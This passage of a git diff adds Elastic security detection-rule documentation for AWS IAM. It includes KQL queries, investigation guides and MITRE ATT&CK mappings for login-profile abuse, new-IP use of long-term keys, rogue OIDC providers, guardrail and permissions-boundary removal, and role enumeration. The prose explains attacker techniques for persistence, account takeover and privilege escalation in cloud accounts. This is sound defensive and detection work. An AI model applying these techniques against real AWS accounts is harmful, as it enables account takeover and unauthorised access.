Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-login-profile-created-or-modified-for-an-iam-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-login-profile-created-or-modified-for-an-iam-user.asciidoc new file mode 100644 index 0000000000..e664c10c66 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-login-profile-created-or-modified-for-an-iam-user.asciidoc @@ -0,0 +1,127 @@ +[[prebuilt-rule-8-19-34-aws-iam-login-profile-created-or-modified-for-an-iam-user]] +=== AWS IAM Login Profile Created or Modified for an IAM User + +Identifies creation or modification of a console login profile for an AWS IAM user via CreateLoginProfile or UpdateLoginProfile. A login profile enables password-based console sign-in for an IAM user. Adversaries who obtain programmatic credentials may create a login profile to add persistent interactive console access, or update an existing profile to reset another user's password and take over the account, even after the original access keys are rotated. Because console access for IAM users is increasingly provisioned through federation or IAM Identity Center, direct use of these APIs by an unexpected principal warrants review. This rule targets IAM users (the userName parameter is present); creation of a login profile for the account root user is covered by a separate rule. + +*Rule type*: query + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateLoginProfile.html +* https://docs.aws.amazon.com/IAM/latest/APIReference/API_UpdateLoginProfile.html + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS IAM + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM Login Profile Created or Modified for an IAM User* + + +A login profile enables password-based AWS console access for an IAM user. "CreateLoginProfile" adds a console password to a user that did not have one, and "UpdateLoginProfile" changes the password of an existing profile. An adversary operating with stolen programmatic credentials can use "CreateLoginProfile" to establish persistent interactive access, or "UpdateLoginProfile" to reset a privileged user's password and hijack the account, retaining access even if the compromised access keys are later disabled. + +Because IAM-user console access is commonly provisioned through federation or IAM Identity Center rather than these APIs directly, unexpected use is a meaningful signal. Note that a user changing their own password uses ChangePassword, not UpdateLoginProfile, so UpdateLoginProfile typically reflects an administrative (or adversarial) reset of another user. + + +*Possible investigation steps* + + +- Identify the actor in "aws.cloudtrail.user_identity.arn", "aws.cloudtrail.user_identity.type", and "aws.cloudtrail.user_identity.session_context.session_issuer.arn", and review "source.ip", "source.as.organization.name", and "user_agent.original" to determine whether the action came from an expected network path or automation platform. +- Identify the target user in "aws.cloudtrail.request_parameters" and determine whether that user normally has console access and how privileged it is. +- Check "aws.cloudtrail.request_parameters" for "passwordResetRequired"; a value of false (or omitted) may indicate the actor set a password they intend to reuse. +- Correlate with surrounding activity by the same principal, such as CreateAccessKey, AttachUserPolicy, PutUserPolicy, virtual MFA registration, or a subsequent ConsoleLogin for the target user, which may indicate persistence or account takeover. + + +*False positive analysis* + + +- Onboarding, password resets, and break-glass procedures legitimately use these APIs. Confirm the change is expected and exclude known administration roles or provisioning automation on "aws.cloudtrail.user_identity.arn" after validation. + + +*Response and remediation* + + +- If the change is unauthorized, delete the login profile or reset the affected user's password, and revoke active console sessions for that user. +- Rotate or restrict credentials for the acting principal if compromise is suspected, and review any IAM permission changes or access keys created by the same session. +- Restrict "iam:CreateLoginProfile" and "iam:UpdateLoginProfile" to a small set of trusted administrators, and prefer federation or IAM Identity Center for console access. + + +==== Setup + + +This rule requires AWS CloudTrail logs ingested via the Elastic AWS integration. See https://docs.elastic.co/integrations/aws/cloudtrail for setup details. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "iam.amazonaws.com" + and event.action: ("CreateLoginProfile" or "UpdateLoginProfile") + and event.outcome: "success" + and not aws.cloudtrail.user_identity.type: "AWSService" + and not user_agent.original: (*terraform* or *pulumi* or *ansible*) + and not aws.cloudtrail.user_identity.arn: (*terraform* or *pulumi* or *ansible*) + and not source.as.organization.name: (Amazon* or AMAZON* or Google*) + and not source.address: ("cloudformation.amazonaws.com" or "servicecatalog.amazonaws.com") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-long-term-access-key-first-seen-from-source-ip.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-long-term-access-key-first-seen-from-source-ip.asciidoc new file mode 100644 index 0000000000..96cee298ad --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-long-term-access-key-first-seen-from-source-ip.asciidoc @@ -0,0 +1,141 @@ +[[prebuilt-rule-8-19-34-aws-iam-long-term-access-key-first-seen-from-source-ip]] +=== AWS IAM Long-Term Access Key First Seen from Source IP + +Identifies the first time, within the configured history window, that a long-term IAM access key ID (prefix AKIA) is used successfully from a given source.ip in AWS CloudTrail. Long-term access keys belong to IAM users or the account root user. They are a common target after credential theft or leakage, including supply-chain and exposed-key scenarios. Temporary security credentials (prefix ASIA) and console sessions are excluded so the signal emphasizes programmatic access patterns. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kudelskisecurity.com/research/investigating-two-variants-of-the-trivy-supply-chain-compromise + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS CloudTrail +* Data Source: AWS IAM +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Initial Access +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: New Terms +* Platform: AWS +* Service: AWS IAM + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM Long-Term Access Key First Seen from Source IP* + + +This rule is a https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-new-terms-rule[New Terms] detection on CloudTrail. It fires when a successful API call uses a long-term IAM access key (`AKIA*`) from a `source.ip` that has not appeared with that key in the rule history window. + +Long-term keys are high-value targets. Unlike session credentials (`ASIA*`), they do not expire until rotated or deleted. Threat reporting on cloud compromises often highlights abuse of leaked or stolen `AKIA` keys. + + +*Possible investigation steps* + + +**Confirm the key and principal** +- Identify the IAM user or root context implied by `aws.cloudtrail.user_identity.arn` or `user.name`. +- **`aws.cloudtrail.user_identity.type`**: Distinguish `IAMUser`, `Root`, or other types; root long-term keys warrant extra scrutiny. + +**Assess the new source** +- **`source.ip`** and **`source.geo`**: Compare to normal geography, corporate egress, and known cloud provider ranges. +- **`user_agent.original`**: Identify AWS CLI, SDKs, custom tooling, or unusual agents. + +**Correlate activity** +- Search CloudTrail for the same access key and IP over the following hours for sensitive APIs (IAM changes, STS, S3 data access, Secrets Manager, role assumption). +- Review IAM last-used metadata for the key in the AWS console or API (`GetAccessKeyLastUsed`). + + +*False positive analysis* + + +- Travel and VP* for human IAM users. +- New CI runners, ephemeral build agents, or re-IP'd NAT gateways for automation keys. +- Partner or MSP access from new networks if keys are shared (discouraged practice). + + +*Response and remediation* + + +- If unexpected, deactivate or delete the access key, rotate credentials, and review policies attached to the user. +- Enable or enforce MFA for console users; prefer roles and temporary credentials over long-term keys for workloads. +- Document approved networks or principals and tune history or exceptions accordingly. + + +*Additional information* + + +- https://docs.aws.amazon.com/whitepapers/latest/aws-security-incident-response-guide/aws-security-incident-response-guide.pdf[AWS Security Incident Response Guide] + + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.outcome: "success" + and source.ip:* + and aws.cloudtrail.user_identity.access_key_id: AKIA* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-oidc-provider-created-by-rare-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-oidc-provider-created-by-rare-user.asciidoc new file mode 100644 index 0000000000..befda7d149 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-oidc-provider-created-by-rare-user.asciidoc @@ -0,0 +1,183 @@ +[[prebuilt-rule-8-19-34-aws-iam-oidc-provider-created-by-rare-user]] +=== AWS IAM OIDC Provider Created by Rare User + +Detects when an uncommon user or role creates an OpenID Connect (OIDC) Identity Provider in AWS IAM. OIDC providers enable web identity federation, allowing users authenticated by external identity providers (such as Google, GitHub, or custom OIDC-compliant providers) to assume IAM roles and access AWS resources. Adversaries who have gained administrative access may create rogue OIDC providers to establish persistent, federated access that survives credential rotation. This technique allows attackers to assume roles using tokens from an IdP they control. While OIDC provider creation is benign in some environments, it should still be validated against authorized infrastructure changes. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateOpenIDConnectProvider.html +* https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_oidc.html +* https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS IAM +* Tactic: Persistence +* Rule Type: New Terms +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM OIDC Provider Created by Rare User* + + +OpenID Connect (OIDC) providers in AWS IAM enable web identity federation, allowing external identity providers to authenticate users who then assume IAM roles. Common legitimate use cases include GitHub Actions accessing AWS resources, Kubernetes pods authenticating to AWS, and web applications using social login. + +This rule detects the first time a specific user or role creates an OIDC provider within an account. While OIDC provider creation is common in some environments, a new user creating one for the first time warrants validation to ensure it's authorized. + + +*Possible investigation steps* + + +- **Identify the actor** + - Review `aws.cloudtrail.user_identity.arn` to determine who created the OIDC provider. + - Check if this user has created OIDC providers before in other accounts. + +- **Review the OIDC provider details** + - Examine `aws.cloudtrail.request_parameters` for the provider URL and client IDs. + - Identify the external IdP (e.g., GitHub, Google, custom provider). + +- **Validate business justification** + - Confirm with DevOps or platform teams whether this aligns with CI/CD pipeline setup. + - Check for related change tickets or infrastructure-as-code deployments. + +- **Check for follow-on activity** + - Search for `CreateRole` or `UpdateAssumeRolePolicy` calls that trust the new OIDC provider. + - Look for `AssumeRoleWithWebIdentity` calls using the newly created provider. + +- **Correlate with other suspicious activity** + - Check for preceding privilege escalation or credential access events. + - Look for other persistence mechanisms being established concurrently. + + +*False positive analysis* + + +- **CI/CD pipeline integration** + - GitHub Actions, GitLab CI, and other CI/CD systems commonly use OIDC for AWS authentication. + - Validate against known DevOps workflows. + +- **Kubernetes federation** + - EKS and self-managed Kubernetes clusters may use OIDC providers for pod identity. + - Confirm with platform engineering teams. + +- **Infrastructure-as-code deployments** + - Terraform, CloudFormation, or other IaC tools may create OIDC providers. + - Verify via CI/CD logs. + + +*Response and remediation* + + +- **Immediate containment** + - If unauthorized, delete the OIDC provider using `DeleteOpenIDConnectProvider`. + - Review and remove any IAM roles that trust the rogue provider. + +- **Investigation** + - Audit CloudTrail for any `AssumeRoleWithWebIdentity` calls using this provider. + - Review all IAM roles with web identity trust relationships. + +- **Hardening** + - Restrict `iam:CreateOpenIDConnectProvider` permissions to authorized roles. + - Implement SCPs to control OIDC provider creation in member accounts. + - Enable AWS Config rules to monitor identity provider configurations. + + +*Additional information* + +- **https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_oidc.html[AWS IAM OIDC Providers Documentation]** +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "iam.amazonaws.com" + and event.action: "CreateOpenIDConnectProvider" + and event.outcome: "success" + and not user_agent.original: (*Terraform* or *eksctl*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Sub-technique: +** Name: Trust Modification +** ID: T1484.002 +** Reference URL: https://attack.mitre.org/techniques/T1484/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Sub-technique: +** Name: Trust Modification +** ID: T1484.002 +** Reference URL: https://attack.mitre.org/techniques/T1484/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-permission-boundary-or-guardrail-policy-deleted-by-unusual-identity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-permission-boundary-or-guardrail-policy-deleted-by-unusual-identity.asciidoc new file mode 100644 index 0000000000..e8ec9370db --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-permission-boundary-or-guardrail-policy-deleted-by-unusual-identity.asciidoc @@ -0,0 +1,129 @@ +[[prebuilt-rule-8-19-34-aws-iam-permission-boundary-or-guardrail-policy-deleted-by-unusual-identity]] +=== AWS IAM Permission Boundary or Guardrail Policy Deleted by Unusual Identity + +Detects the first time an AWS identity successfully deletes an IAM managed policy whose ARN contains guardrail-related keywords (for example Boundary, Deny, Restrict, Guard, SCP, Guardrail). Adversaries who have obtained elevated IAM privileges may delete policies to remove restrictive permissions boundaries, eliminate deny-based guardrails, or clean up after a privilege escalation operation. Infrastructure-as-code tools (Terraform, CloudFormation, Pulumi, and Ansible) are excluded because policy lifecycle management is a routine part of automated deployments. A policy deletion by an identity not seen performing this activity during the prior seven days may indicate newly compromised credentials being used to modify the account's permission structure. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/IAM/latest/APIReference/API_DeletePolicy.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Use Case: Identity and Access Audit +* Tactic: Defense Evasion +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Very Slow +* Profile: Aggressive +* Rule Type: New Terms +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS IAM + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM Permission Boundary or Guardrail Policy Deleted by Unusual Identity* + + +This rule fires the first time an identity deletes a customer-managed IAM policy in the prior 7 days. Policy deletion is a privilege-escalation or defense-evasion primitive: removing a deny-based policy or permissions boundary silently expands the effective access of every principal that policy applied to. + + +*Possible investigation steps* + + +- Identify the deleting principal (`aws.cloudtrail.user_identity.arn`) and determine whether they have a history of IAM policy management in audit logs beyond the 7-day window. +- Review `aws.cloudtrail.request_parameters` to identify the policy ARN that was deleted. Policies with names containing "Boundary", "Deny", or "Restrict" in the ARN are highest priority. +- Check whether any principal previously had this policy attached as a permissions boundary — if so, those principals may now operate without that constraint. +- Review the same identity's CloudTrail activity for other IAM privilege escalation indicators in the same session: `CreatePolicyVersion`, `SetDefaultPolicyVersion`, `AttachRolePolicy`, `UpdateAssumeRolePolicy`. +- Determine whether this identity was recently assumed via `AssumeRole` from an unusual source IP. + + +*False positive analysis* + + +- First-time IaC deployments (Terraform apply, CDK deploy) that manage IAM resources will appear as new identities performing policy deletions. +- New service accounts introduced to handle IAM lifecycle management. + + +*Response and remediation* + + +- If unauthorized, determine whether the deleted policy was a permissions boundary and re-apply it immediately to all affected principals. +- Revoke or disable the credentials used to perform the deletion pending investigation. +- Review all principals that had the policy attached and audit their current effective permissions. + + +==== Setup + + +The AWS CloudTrail integration must be enabled and configured to collect IAM management events. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "iam.amazonaws.com" + and event.action: "DeletePolicy" + and event.outcome: "success" + and not aws.cloudtrail.user_identity.type: "AWSService" + and aws.cloudtrail.request_parameters: (*Boundary* or *boundary* or *Deny* or *deny* or *Restrict* or *restrict* or *Guard* or *guard* or *SCP* or *Guardrail* or *guardrail*) + and not user_agent.original: (*Terraform* or *terraform* or "cloudformation.amazonaws.com" or *pulumi* or *Pulumi* or *ansible* or *Ansible*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-permissions-boundary-modified-or-removed.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-permissions-boundary-modified-or-removed.asciidoc new file mode 100644 index 0000000000..d33f13ff6a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-permissions-boundary-modified-or-removed.asciidoc @@ -0,0 +1,122 @@ +[[prebuilt-rule-8-19-34-aws-iam-permissions-boundary-modified-or-removed]] +=== AWS IAM Permissions Boundary Modified or Removed + +Identifies the modification or removal of an IAM permissions boundary on an IAM user or role. A permissions boundary caps the maximum permissions an identity can have, regardless of its attached identity policies. An adversary who can delete a boundary ("DeleteUserPermissionsBoundary", "DeleteRolePermissionsBoundary") or replace it with a more permissive one ("PutUserPermissionsBoundary", "PutRolePermissionsBoundary") can lift that cap and unlock permissions the identity's policies already grant, enabling privilege escalation. Boundary changes are infrequent and usually performed by a small set of administrators or infrastructure-as-code pipelines, so changes by unexpected principals warrant review. + +*Rule type*: query + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_boundaries.html +* https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS IAM + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM Permissions Boundary Modified or Removed* + + +An IAM permissions boundary is the maximum set of permissions an identity can ever have — even if its identity policies grant more, the effective permissions are the intersection of the two. Removing a boundary (`DeleteUserPermissionsBoundary` / `DeleteRolePermissionsBoundary`) or replacing it with a broader one (`PutUserPermissionsBoundary` / `PutRolePermissionsBoundary`) lifts that cap, so any permissions already present in the identity's attached policies immediately take effect. This is a recognized privilege-escalation path: an adversary who can edit a boundary can unlock latent permissions without attaching any new policy. + + +*Possible investigation steps* + + +- Identify the actor in `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, and `aws.cloudtrail.user_identity.session_context.session_issuer.arn`, and review `source.ip` / `user_agent.original` to determine how the change was made (console, CLI, SDK, automation). +- Inspect `aws.cloudtrail.request_parameters` for the targeted `userName`/`roleName` and, for `Put*` operations, the `permissionsBoundary` policy ARN that was applied. +- Determine the identity's attached identity policies to assess what permissions are now unlocked by the boundary change (the effective blast radius). +- Confirm whether the change aligns with an approved governance change, onboarding, or deployment. +- Correlate with recent activity by the same principal, such as policy attachment, access key creation, or role assumption that may indicate an escalation chain. + + +*False positive analysis* + + +- Identity/platform teams and infrastructure-as-code routinely set and update boundaries. Confirm the change is approved and exclude known administration roles or automation on `aws.cloudtrail.user_identity.arn` after validation. + + +*Response and remediation* + + +- If the change is unauthorized, restore the intended permissions boundary on the affected identity and review what the identity could access while the boundary was relaxed or absent. +- Rotate or restrict credentials for the principal that made the change if compromise is suspected, and constrain `iam:PutUserPermissionsBoundary`, `iam:PutRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, and `iam:DeleteRolePermissionsBoundary` to a small set of trusted administrators. + + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "iam.amazonaws.com" + and event.action: ( + "PutUserPermissionsBoundary" or + "PutRolePermissionsBoundary" or + "DeleteUserPermissionsBoundary" or + "DeleteRolePermissionsBoundary" + ) + and event.outcome: "success" + and not aws.cloudtrail.user_identity.type: "AWSService" + and not user_agent.original: (*terraform* or *pulumi* or *ansible*) + and not aws.cloudtrail.user_identity.arn: (*terraform* or *pulumi* or *ansible*) + and not source.as.organization.name: (Amazon* or AMAZON* or Google*) + and not source.address: ("cloudformation.amazonaws.com" or "servicecatalog.amazonaws.com") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-principal-enumeration-via-updateassumerolepolicy.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-principal-enumeration-via-updateassumerolepolicy.asciidoc new file mode 100644 index 0000000000..aeaff23055 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-principal-enumeration-via-updateassumerolepolicy.asciidoc @@ -0,0 +1,175 @@ +[[prebuilt-rule-8-19-34-aws-iam-principal-enumeration-via-updateassumerolepolicy]] +=== AWS IAM Principal Enumeration via UpdateAssumeRolePolicy + +Detects repeated failed attempts to update an IAM role’s trust policy in an AWS account, consistent with role and user enumeration techniques. In this technique, an attacker who controls credentials in the current account repeatedly calls UpdateAssumeRolePolicy on a single role, cycling through guessed cross-account role or user ARNs as the principal. When those principals are invalid, IAM returns MalformedPolicyDocumentException, producing a burst of failed UpdateAssumeRolePolicy events. This rule alerts on that brute-force pattern originating from this account, which may indicate that the account is being used as attack infrastructure or that offensive tooling (such as Pacu) is running here. Note: this rule does not detect other accounts enumerating roles, because those API calls are logged in the caller’s account, not the target account. + +*Rule type*: threshold + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.praetorian.com/blog/aws-iam-assume-role-vulnerabilities +* https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Discovery +* Tactic: Credential Access +* Noise: Medium +* Performance: Normal +* Rule Type: Threshold +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS IAM + +*Version*: 217 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM Principal Enumeration via UpdateAssumeRolePolicy* + + +This rule detects bursts of failed attempts to update an IAM role’s trust policy — typically resulting in `MalformedPolicyDocumentException` errors — which can indicate enumeration of IAM principals. +Adversaries who have obtained valid AWS credentials may attempt to identify roles or accounts that can be assumed by repeatedly modifying a role’s trust relationship using guessed `Principal` ARNs. +When these principals are invalid, IAM rejects the request, creating a recognizable sequence of failed `UpdateAssumeRolePolicy` events. + +Because this is a threshold rule, it triggers when the number of failures exceeds a defined count within a short period. This pattern suggests brute-force-style enumeration rather than normal misconfiguration. + + +*Possible investigation steps* + + +- **Validate the context of the threshold trigger** + - Review the `@timestamp` range for when the burst occurred and the number of failed attempts in the threshold window. + - Identify whether all failures targeted the same `RoleName` or multiple roles — targeting a single role is often indicative of brute-force enumeration. + - Confirm the source identity and IP address (`aws.cloudtrail.user_identity.arn`, `source.ip`, `user_agent.original`) to determine whether these calls originated from a known automation process or an unexpected host. + +- **Correlate with other IAM activity** + - Look for any subsequent successful `UpdateAssumeRolePolicy` or `AssumeRole` calls, which may indicate the attacker eventually discovered a valid principal. + - Search for reconnaissance-related API calls (`ListRoles`, `ListUsers`, `GetCallerIdentity`) before the threshold event — these often precede enumeration bursts. + - Investigate whether other suspicious role- or identity-related actions occurred near the same timeframe, such as `CreateRole`, `PutRolePolicy`, or `AttachRolePolicy`. + +- **Identify infrastructure patterns** + - Examine the `user_agent.original` field — the presence of automation frameworks or penetration tools (e.g., “Boto3”, “Pacu”) may signal offensive tooling. + - Review the `source.ip` or `cloud.account.id` fields to see whether this account may be acting as attacker-controlled infrastructure attempting to enumerate roles in other environments. + +- **Validate authorization** + - Confirm with your DevOps or Cloud IAM teams whether any expected testing, migration, or cross-account role configuration changes were planned for this time period. + - If the identity performing these actions does not typically manage IAM roles or trust relationships, escalate for investigation as a possible credential compromise. + + +*False positive analysis* + + +- **Legitimate automation retries** + - Continuous integration or configuration management systems may retry failed IAM API calls during deployment rollouts. + If the same IAM role was being updated as part of a known change, validate the timing and source identity before closing as benign. +- **Misconfigured scripts or infrastructure drift** + - Scripts that deploy trust policies using outdated or invalid ARNs can cause repetitive failures that mimic brute-force patterns. + Review the `RoleName` and `Principal` ARNs included in the failed requests to confirm if they correspond to known but outdated configurations. + + +*Response and remediation* + + +- **Immediate review and containment** + - Investigate whether the source account is being used for offensive operations or compromised automation. + - Disable or suspend the IAM user or access key responsible for the enumeration burst. + - If activity originated from a workload or CI/CD system, audit its access keys and environment variables for compromise. + +- **Investigation and scoping** + - Review CloudTrail logs for other IAM or STS actions from the same source in the preceding and following 24 hours. + - Check for any successful privilege changes (`PutRolePolicy`, `AttachRolePolicy`, or `AssumeRole`) by the same identity. + - Determine if other roles in the same account 